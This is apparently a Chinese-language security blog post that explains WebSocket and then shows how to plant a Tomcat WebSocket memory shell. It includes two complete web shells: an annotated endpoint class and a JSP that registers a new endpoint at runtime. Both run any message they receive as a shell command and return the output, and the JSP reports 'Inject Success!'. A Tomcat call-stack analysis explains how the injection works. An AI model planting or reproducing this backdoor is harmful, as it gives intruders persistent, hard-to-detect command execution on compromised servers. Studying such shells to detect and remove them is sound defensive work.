WebSocket介绍
WebSocket是一种在Web应用程序中实现全双工通信的协议。它提供了一种持久的连接,允许服务器和客户端之间进行双向通信,而无需通过传统的HTTP请求-响应模型来发起通信
传统的Web应用程序通常使用HTTP协议进行通信,它是一种无状态的协议,每次请求都需要在客户端和服务器之间进行完整的连接和关闭,这种请求-响应模型的限制使得在实时通信和推送数据方面存在困难
WebSocket的出现解决了这个问题,它通过在客户端和服务器之间建立一条持久的连接,可以实现实时通信和双向数据传输,与传统的HTTP请求不同,WebSocket连接在建立后会保持打开状态,允许服务器主动向客户端发送数据,而不需要等待客户端的请求
WebSocket协议具有以下特点:
双向通信:WebSocket允许服务器和客户端之间进行双向通信,可以在任何一方发送消息,而不仅仅是客户端向服务器发送请求
实时性:由于WebSocket连接是持久的,服务器可以实时向客户端推送数据,而不需要客户端发起请求。这使得实现实时聊天、实时数据更新和即时通知等功能变得更加容易
低延迟:WebSocket通过使用更有效的二进制消息格式,以及减少了HTTP的开销,可以实现较低的延迟和更高的性能
跨域支持:WebSocket支持跨域通信,允许在不同域之间进行实时通信
简化的API:WebSocket提供了一组简单易用的API,使得开发人员可以方便地创建和管理WebSocket连接,发送和接收消息
WebSocket内存马
Tomcat的WebSocket(WebSocket)是一种在单个TCP连接上进行全双工通信的协议。它允许客户端和服务器在单个TCP连接上交换数据。WebSocket是一种在单个TCP连接上进行全双工通信的协议,这使得它比HTTP更轻量级,并且可以在不关闭连接的情况下发送和接收数据
在Tomcat中,想要实现WebSocket服务端一种办法是继承 Endpoint
抽象类,另一种办法就是直接使用注解 @ServerEndpoint
,客户端使用注解 @ClientEndpoint
(本文不会使用到客户端)
@ServerEndpoint注解实现
@ServerEndpoint
注解作为服务端端点,指定一个URL路径让客户端进行连接,Endpoint
和Tomcat一样有生命周期的,其方法如下:
onOpen
开启一个新会话时调用,客户端和服务端握手连接时调用,对应@OnOpen
注解onMessage
接收到客户端发送的消息时调用,对应@OnMessage
注解onError
出现异常时调用,对应@OnError
注解onClose
会话关闭时调用,对应@OnClose
注解
@ServerEndpoint
注解可以使用一些属性来配置WebSocket端点的行为和特性
value
指定WebSocket端点的访问路径,例如:@ServerEndpoint("/ws")
decoders
指定用于解码接收到的消息的解码器类,可以指定多个解码器,使用数组形式,例如:@ServerEndpoint(value = "/ws", decoders = {MyDecoder.class})
encoders
指定用于编码发送给客户端的消息的编码器类,可以指定多个编码器,使用数组形式,例如:@ServerEndpoint(value = "/ws", encoders = {MyEncoder.class})
configurator
指定一个自定义的ServerEndpointConfig.Configurator
类,用于配置WebSocket端点的配置,例如:@ServerEndpoint(value = "/ws", configurator = MyConfigurator.class)
subprotocols
属性用于指定支持的子协议(subprotocols),子协议是指在WebSocket连接建立时,客户端和服务器之间进行的协议交换,以确定在连接期间使用的协议
import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
import java.io.InputStream;
@ServerEndpoint("/ws")
public class WebSocketDemo {
@OnMessage
public void onMessage(String str,Session session) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("Windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",str});
} else {
process = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",str});
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@OnOpen
public void onOpen(Session session) {}
@OnError
public void onError(Throwable error){
error.printStackTrace();
}
}
继承抽象类实现
使用注解来实现WebSocket是比较简单的,因为注解可以自动化完成配置。如果我们想要使用继承抽象类来实现的话,就没有那么简单了
在Tomcat中 org.apache.tomcat.websocket.server.WsSci
类用来加载WebSocket服务,Tomcat WebSocket使用了SCI机制,什么是SCI机制呢?
SCI(Server Configuration Interface)是一种服务器配置接口,用于在服务器启动时动态配置WebSocket应用程序。SCI机制允许服务器在运行时动态配置WebSocket应用程序,例如添加和删除端点(endpoint)、设置消息过滤器等。这有助于提高WebSocket应用程序的灵活性和可扩展性
Tomcat WebSocket使用了SCI机制来实现服务端动态配置,当服务器启动时,它将加载 WEB-INF/web.xml
文件中的配置,这些配置包括端点(endpoint)、消息过滤器等。然后,将这些配置应用到 WebSocketContainer
对象中,从而实现动态配置
调用栈分析
当Tomcat启动时,会自动调用 WsSci
类的 onStartUp
方法,该类实现了 ServletContainerInitializer
接口,重写了 onStartUp
方法,那么我们就从这个方法打个断点分析一下
onStartup:49, WsSci (org.apache.tomcat.websocket.server)
startInternal:5219, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:726, ContainerBase (org.apache.catalina.core)
addChild:698, ContainerBase (org.apache.catalina.core)
addChild:696, StandardHost (org.apache.catalina.core)
manageApp:1783, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:293, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
createStandardContext:460, MBeanFactory (org.apache.catalina.mbeans)
createStandardContext:408, MBeanFactory (org.apache.catalina.mbeans)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:293, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security)
doOperation:1468, RMIConnectionImpl (javax.management.remote.rmi)
access$300:76, RMIConnectionImpl (javax.management.remote.rmi)
run:1309, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi)
doPrivileged:-1, AccessController (java.security)
doPrivilegedOperation:1408, RMIConnectionImpl (javax.management.remote.rmi)
invoke:829, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 614595529 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$28)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:750, Thread (java.lang)
在 onStartUp
方法中,调用了 init
方法,跟进该方法看一下
可以看到,实例化了 WsServerContainer
类,并将属性名 javax.websocket.server.ServerContainer
和 WsServerContainer
对象添加到ServletContext上下文中,并返回了 WsServerContainer
对象
接着在 onStartup
方法中对每个WebSocket端点应用程序类进行判断,如果该类使用了 ServerEndpoint
注解则添加到 scannedPojoEndpoints
集合中,其中就有我们写的恶意WebSocket端点
创建了两个集合,用于WebSocket端点配置和扫描结果的过滤操作,由于 serverApplicationConfigs
集合是空的,则将 scannedPojoEndpoints
集合所有元素添加到 filteredPojoEndpoints
集合中,此时,我们写的恶意WebSocket端点应用程序类已经被添加到 filteredPojoEndpoints
集合中了
在这里遍历 filteredPojoEndpoints
集合并调用 sc.addEndpoint
方法将恶意WebSocket端点应用程序类添加WebSocket端点,跟进这个方法看一下
在这个方法中,定义了一个 ServerEndpointConfig
类对象,从注解中读取value属性值,也就是我们之前写的WebSocket访问路径
不是重点内容,我们就不看了,直接看重点,先是对 sec
对象进行赋值,调用了 ServerEndpointConfig.Builder.create(pojo, path)
创建WebSocket端点配置对象,最后调用了 addEndpoint
方法
根据上面的分析,我们大概知道如何把我们的注册恶意WebSocket端点了,有如下步骤:
- 指定一个WebSocket访问路径
- 获取ServletContext对象
- 获取ServerEndpointConfig对象
- 获取WsServerContainer对象,由于WsServerContainer对象实现了ServerContainer接口的
addEndpoint
方法,这里我们直接获取ServerContainer对象 - 最后调用ServerContainer对象的
addEndpoint
方法,将ServerEndpointConfig对象添加到WebSocket端点
动态实现WebSocket服务端
<%@ page import="javax.websocket.Endpoint" %>
<%@ page import="javax.websocket.MessageHandler" %>
<%@ page import="javax.websocket.Session" %>
<%@ page import="javax.websocket.EndpointConfig" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public static class WebSocketDemo extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
@Override
public void onMessage(String str) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("Windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",str});
} else {
process = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",str});
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
}
%>
<%
String path = request.getParameter("path");
ServletContext servletContext = request.getServletContext();
ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketDemo.class, path).build();
ServerContainer serverContainer = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
serverContainer.addEndpoint(serverEndpointConfig);
out.println("Inject Success! Connect URL Path: " + servletContext.getContextPath() + path);
%>
指定WebSocket访问路径后添加到端点
使用WebSocket客户端连接工具连接即可执行命令
Author: wileysec
Permalink: https://wileysec.github.io/fee784a451d7.html
Comments